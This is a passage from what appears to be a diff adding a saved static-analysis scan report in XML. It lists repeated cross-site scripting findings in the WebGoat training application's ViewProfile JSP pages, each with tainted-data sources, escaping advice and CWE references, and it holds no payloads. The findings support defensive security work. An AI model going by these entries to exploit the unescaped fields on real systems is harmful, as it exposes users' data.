+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"250\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"61\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"163\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"216\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"259\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"63\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"29\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"242\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"194\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"171\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"65\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"116\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"155\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"189\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"69\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
